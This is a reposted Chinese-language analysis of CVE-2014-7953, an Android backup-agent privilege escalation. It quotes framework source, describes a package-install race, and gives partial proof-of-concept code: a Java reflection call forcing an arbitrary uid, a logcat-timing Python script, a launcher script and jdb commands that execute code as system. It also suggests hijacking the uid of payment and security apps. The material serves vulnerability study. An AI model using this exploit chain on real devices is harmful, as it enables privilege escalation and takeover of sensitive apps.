转载

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

0x00 摘要

CVE-2014-7953是存在于android backup agent中的一个提权漏洞。ActivityManagerService中的bindBackupAgent方法未能校验传入的uid参数,结合另外一个race condition利用技巧,攻击者可以以任意uid(应用)身份执行代码,包括system(uid 1000)。本文对该漏洞进行了详细分析,并给出了利用EXP。攻击的前提条件是需要有android.permission.BACKUP和INSTALL_PACKAGES,而adb shell是一个满足条件的attack surface。

0x01 背景介绍

BackupService是Android中提供的备份功能,在备份操作中,系统的BackupManager从目标应用获取对方指定的备份数据,然后交给BackupTransport进行数据传输。在恢复备份操作中,BackupManager从Transport中拿回数据并传递给目标应用进行恢复。常见的场景是用户应用的数据备份到Google Cloud,用户在新手机上登录Google账号时数据就被自动恢复回去。

当然想使用备份功能的应用必须实现BackupAgent组件,继承BackupAgent类或者BackupAgentHelper类,并在AndroidManifest.xml中声明自己,还需要向一个BackupService注册。

在BackupManager进行备份或恢复时,其会以目标应用BackupAgent为内容启动目标应用进程,调用其onCreate函数,以方便其进行具体的应用逻辑相关的备份和恢复操作。

0x02 漏洞成因

在上文的铺垫之后,我们来看这个漏洞的成因。前面提到BackupAgent会在进行恢复时被调用,具体到ActivityManagerService中的bindBackupAgent函数:

#!java // Cause the target app to be launched if necessary and its backup agent 12819    // instantiated.  The backup agent will invoke backupAgentCreated() on the 12820    // activity manager to announce its creation. 12821    public boolean bindBackupAgent(ApplicationInfo app, int backupMode) { 12822        if (DEBUG_BACKUP) Slog.v(TAG, "bindBackupAgent: app=" + app + " mode=" + backupMode); 12823        enforceCallingPermission("android.permission.BACKUP", "bindBackupAgent"); 12824 12825        synchronized(this) { /*...*/ 12833            // Backup agent is now in use, its package can't be stopped. 12834            try { 12835                AppGlobals.getPackageManager().setPackageStoppedState( 12836                        app.packageName, false, UserHandle.getUserId(app.uid)); 12837            } catch (RemoteException e) { 12838            } catch (IllegalArgumentException e) { 12839                Slog.w(TAG, "Failed trying to unstop package " 12840                        + app.packageName + ": " + e); 12841            } 12842 12843            BackupRecord r = new BackupRecord(ss, app, backupMode); 12844            ComponentName hostingName = (backupMode == IApplicationThread.BACKUP_MODE_INCREMENTAL) 12845                    ? new ComponentName(app.packageName, app.backupAgentName) 12846                    : new ComponentName("android", "FullBackupAgent"); 12847            // startProcessLocked() returns existing proc's record if it's already running 12848            ProcessRecord proc = startProcessLocked(app.processName, app, 12849                    false, 0, "backup", hostingName, false, false, false); 12850            if (proc == null) { 12851                Slog.e(TAG, "Unable to start backup agent process " + r); 12852                return false; 12853            } 12854 12855            r.app = proc; 12856            mBackupTarget = r; 12857            mBackupAppName = app.packageName; 12858 12859            // Try not to kill the process during backup 12860            updateOomAdjLocked(proc); 12861 12862            // If the process is already attached, schedule the creation of the backup agent now. 12863            // If it is not yet live, this will be done when it attaches to the framework. 12864            if (proc.thread != null) { 12865                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc already running: " + proc); 12866                try { 12867                    proc.thread.scheduleCreateBackupAgent(app, 12868                            compatibilityInfoForPackageLocked(app), backupMode); 12869                } catch (RemoteException e) { 12870                    // Will time out on the backup manager side 12871                } 12872            } else { 12873                if (DEBUG_BACKUP) Slog.v(TAG, "Agent proc not running, waiting for attach"); 12874            } 12875            // Invariants: at this point, the target app process exists and the application 12876            // is either already running or in the process of coming up.  mBackupTarget and 12877            // mBackupAppName describe the app, so that when it binds back to the AM we 12878            // know that it's scheduled for a backup-agent operation. 12879        } 12880 12881        return true; 12882    } 

ActivityManagerService对外通过Binder暴露了这个接口,当然开头就要求了调用者必须持有android.permission.BACKUP权限,而shell是持有这个权限的。bindBackupAgent最终会将传入的攻击者可控的ApplicationInfo传递给startProcessLocked,并最终通过scheduleCreateBackupAgent调用其onCreate函数。

而ApplicationInfo中的uid可以被任意指定,这是该漏洞的根本原因。

0x02 漏洞利用

但是想要利用这个漏洞还会遇到几个关键的问题,需要通过其他方法来绕过。

setPackageStoppedState的权限检查

从代码中可以看到,在startProcessLocked之前会先调用setPackageStoppedState,将可能正在运行的目标package置Stopped状态。这要求binder调用的发起者持有CHANGE_COMPONENT_ENABLED_STATE权限,否则会抛出SecurityException,终止函数运行。很遗憾这是一个系统用户才持有的权限,shell是没有的,强行调用会抛如下异常:

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

但是可以观察到的是,startPackageStoppedState在抛出IllegalArgumentException时会被catch住,打一个log并继续执行,那么通过PackageManager安装包时的race condition,或者说TOCTOU,可以打一个时间差。

一个猥琐的步骤如下: - 调用pm安装包,在安装过程中某个时刻调用bindBackupAgent。 - startPackageStoppedState时,包并不存在,抛出IllegalArgumentException被catch住并继续执行。 - startProcessRecord时包却已经安装完成了,以攻击者指定的ApplicationInfo启动。

正常的情况下,当包存在时,会是如下时序:

Title: Failed when pkg already exists bindBackupAgent->>PackageManager:  setPackageStoppedState... bindBackupAgent-->>PackageManager: CHANGE_COMPONENT_ENABLED_STATE permission denied, abort 

包不存在时,会是如下时序。此时process可以被创建出来,但会立即死亡因为找不到load的代码。极罕见的情况下可能会停留在FC对话框而可以利用。

Title: Failed when pkg do not exist bindBackupAgent->>PackageManager:  setPackageStoppedState... bindBackupAgent-->>PackageManager: Package does not exist, eat exception and go on bindBackupAgent->>PackageManager: pkg exist, startProcessLocked with supplied uid Note right of bindBackupAgent: process started with supplied uid Note over ActivityThread: package not found, commit suicide! 

TOCTOU利用时序图如下:

Title: TOCTOU Note right of PackageManager: start install package bindBackupAgent->>PackageManager:  setPackageStoppedState... bindBackupAgent-->>PackageManager: Package does not exist, eat exception and go on Note right of PackageManager: logcat: copying native lib ... Note right of PackageManager: Package install finished. bindBackupAgent->>PackageManager: pkg exist, startProcessLocked with supplied uid Note right of bindBackupAgent: process started with supplied uid bindBackupAgent->ActivityThread: scheduleCreateBackupAgent Note over ActivityThread: handleCreateBackupAgent, create Process with system uid Note over ActivityThread: jdwp attach, execute code 

这里面关键点是打好时间差,例如可以扩大classes.dex的体积,增加dexopt的时间。在N7上测试成功的POC是通过脚本监控logcat中 Copying native libraries to ,在此刻触发bindBackupAgent调用,基本每次都能成功。

handleCreateBackupAgent的检查

跟一下调用链:

#!java         public final void scheduleCreateBackupAgent(ApplicationInfo app, 658 CompatibilityInfo compatInfo, int backupMode) { 659            CreateBackupAgentData d = new CreateBackupAgentData(); 660            d.appInfo = app; 661            d.compatInfo = compatInfo; 662            d.backupMode = backupMode; 663 664            sendMessage(H.CREATE_BACKUP_AGENT, d); 665        } public void handleMessage(Message msg) { //omit  case CREATE_BACKUP_AGENT: 1337     Trace.traceBegin(Trace.TRACE_TAG_ACTIVITY_MANAGER, "backupCreateAgent"); 1338     handleCreateBackupAgent((CreateBackupAgentData)msg.obj); 1339     Trace.traceEnd(Trace.TRACE_TAG_ACTIVITY_MANAGER); 1340     break; //omit } // Instantiate a BackupAgent and tell it that it's alive 2428    private void handleCreateBackupAgent(CreateBackupAgentData data) { 2429        if (DEBUG_BACKUP) Slog.v(TAG, "handleCreateBackupAgent: " + data); 2430 2431        // Sanity check the requested target package's uid against ours 2432        try { 2433            PackageInfo requestedPackage = getPackageManager().getPackageInfo( 2434     data.appInfo.packageName, 0, UserHandle.myUserId()); 2435            if (requestedPackage.applicationInfo.uid != Process.myUid()) { 2436 Slog.w(TAG, "Asked to instantiate non-matching package " 2437         + data.appInfo.packageName); 2438 return; 2439            } 2440        } catch (RemoteException e) { 2441            Slog.e(TAG, "Can't reach package manager", e); 2442            return; 2443        } //omit 2448        // instantiate the BackupAgent class named in the manifest 2449        LoadedApk packageInfo = getPackageInfoNoCheck(data.appInfo, data.compatInfo); 2450        String packageName = packageInfo.mPackageName; //omit 2461 2462        BackupAgent agent = null; 2463        String classname = data.appInfo.backupAgentName; 2464 2465        // full backup operation but no app-supplied agent?  use the default implementation 2466        if (classname == null && (data.backupMode == IApplicationThread.BACKUP_MODE_FULL 2467 || data.backupMode == IApplicationThread.BACKUP_MODE_RESTORE_FULL)) { 2468            classname = "android.app.backup.FullBackupAgent"; 2469        } 2470 2471        try {![Alt text](./Screenshot from 2015-04-20 15:50:21.png) 2472            IBinder binder = null; 2473            try { 2474 if (DEBUG_BACKUP) Slog.v(TAG, "Initializing agent class " + classname); 2475 2476 java.lang.ClassLoader cl = packageInfo.getClassLoader(); 2477 agent = (BackupAgent) cl.loadClass(classname).newInstance(); 2478 2479 // set up the agent's context 2480 ContextImpl context = ContextImpl.createAppContext(this, packageInfo); 2481 context.setOuterContext(agent); 2482 agent.attach(context); 2483 2484 agent.onCreate(); 2485 binder = agent.onBind(); 2486 mBackupAgents.put(packageName, agent); 2487            } catch (Exception e) { 2488 //omit 2496            } //omit 2508    } 2509  

该函数的作用是在Package中寻找定义的BackupAgent类,如果不存在则以android.app.backup.FullBackupAgent代替,并执行其onCreate函数。

如果控制了进程uid为system,在onCreate函数放置我们的代码就万事大吉了。但很遗憾开头就有一个检查,对比当前进程的uid(注意ActivityThread的代码是在被启动package的进程空间内执行的,所以Process.myUid即是目标package的uid)和PackageManager在安装时记录的uid,不符合则log并退出。这就砍掉了改onCreate利用的想法。

但天无绝人之路,jdwp come to rescure. 进程和VM已经起来了,安装包的debuggable flag又是攻击者可指定的,那么jdwp attach上去执行代码,就柳暗花明又一村。

0x03 喜闻乐见的shell...吗

顺利的话system身份进程已经启动。

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

如果我们再去打开测试应用,会看到两个不同uid的同package进程并存,如下图:

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

这里会有两种情况: - 进程以system的uid启动,但由于没有实例化和调用onCreate,这个进程是个空壳。这是最常见的情况。 - 进程以system的uid启动,出现一个Application Crash时的FC对话框。有意思的是某些罕见情况下直接访问backupAgent接口就会触发该对话框。

对于这两种情况,attach上之后触发的断点也并不一样。对于第一个来说,线程会block在nativePollOnce上,如下图所示:

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

这种情况利用的一个关键因素是需要让线程跳出nativePollOnce,也就是说需要让其接收到一个消息,然后才能下断点执行代码, 但诡异之处就在于这时候起的进程是一个空壳,不存在GUI界面,常规的操作触发和intent触发都是没有效果的,这岂不是强人所难?如何跳出这个轮回留给读者做一道思考题。

第二种则会因为异常捕获断在handleApplicationCrash上,这种比较好处理,直接下断点即可。

总之我们利用intellij或者jdb作为载体,通过jdwp即可以system权限或者以其他uid的身份执行代码。但很不幸的是4.4.4上system是没有了inet权限的,所以弹不出来喜闻乐见的bind/reverse shell了。:(

附效果截图:

system:

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

当然我们也可以变幻成什么xx卫士啊,xx钱盾,xx付宝之类进程的uid,从而控制这些敏感应用。附xx卫士的截图:

ADB backupAgent 提权漏洞分析 (CVE-2014-7953)

可以看到我们的应用已经和xx卫士是一个uid同床共枕了,接下来怎么发挥就看诸君想象力了。

0x04 部分POC:

myapp:

#!java public class Test {     public static void main(String []args)     {         test(Integer.parseInt(args[0]));     }     public static void test(Integer uid)     {         try {  Class ActivityManagerNative = Class.forName("android.app.ActivityManagerNative");  Method bindBackupAgent = ActivityManagerNative.getDeclaredMethod("getDefault");  Object iActivityManager = bindBackupAgent.invoke(null);  Method bindBackupAgentMtd = iActivityManager.getClass().getDeclaredMethod("bindBackupAgent", ApplicationInfo.class, int.class);  ApplicationInfo applicationInfo = new ApplicationInfo();  applicationInfo.dataDir = "/data/data/com.example.myapp";  applicationInfo.nativeLibraryDir = "/data/app-lib/com.example.myapp-1";  applicationInfo.processName = "com.example.myapp";  applicationInfo.publicSourceDir = "/data/app/com.example.myapp-1.apk";  applicationInfo.sourceDir = "/data/app/com.example.myapp-1.apk";  applicationInfo.taskAffinity = "com.example.myapp";  applicationInfo.packageName = "com.example.myapp";  applicationInfo.flags = 8961606;  applicationInfo.uid = uid;  bindBackupAgentMtd.invoke(iActivityManager, applicationInfo, 0);         } catch (ClassNotFoundException e) {  e.printStackTrace();         } catch (NoSuchMethodException e) {  e.printStackTrace();         } catch (InvocationTargetException e) {  e.printStackTrace();         } catch (IllegalAccessException e) {  e.printStackTrace();         }     } }  

将其编译为jar并通过app_process执行。注意在myapp没有安装时直接执行会造成后续INSTALL_FAILED_UID_CHANGED错误,具体原因可参照我之前写的denial-of-app分析。

监控py脚本:

#!python from subprocess import Popen, PIPE import os KW = "Copying native libraries to " #KW = "dexopt" os.system("adb logcat -c") p = Popen(["adb", "logcat"], stdout=PIPE, bufsize=1) with p.stdout:  for line in iter(p.stdout.readline, b''):   if line.find(KW) != -1:    print line    os.system("adb shell /data/local/tmp/test.sh 1000") p.wait()  

test.sh

#!bash export ANDROID_DATA=/data/local/tmp/ export CLASSPATH=/data/local/tmp/MyTest.jar app_process /data/local/tmp/ com.example.MyTest $@ 

jdb命令:

#!java threads thread 0xxxxxx suspend stop in android.os.MessageQueue next run print new java.lang.Runtime.exec("id") 

0x05 修复:

Google对该漏洞的修复非常简单,对bindBackupAgent接口校验了FULL_BACKUP这个system级别的权限,砍掉了最初的入口。

References:

  • http://www.securityfocus.com/archive/1/535296/30/0/threaded
  • http://www.saurik.com/id/17
  • http://androidxref.com/4.4.4_r1/xref/frameworks/base/services/java/com/android/server/am/ActivityManagerService.java#12822
  • http://grepcode.com/file/repository.grepcode.com/java/ext/com.google.android/android/4.2_r1/android/os/MessageQueue.java#MessageQueue.nativePollOnce%28int%2Cint%29
正文到此结束
Loading...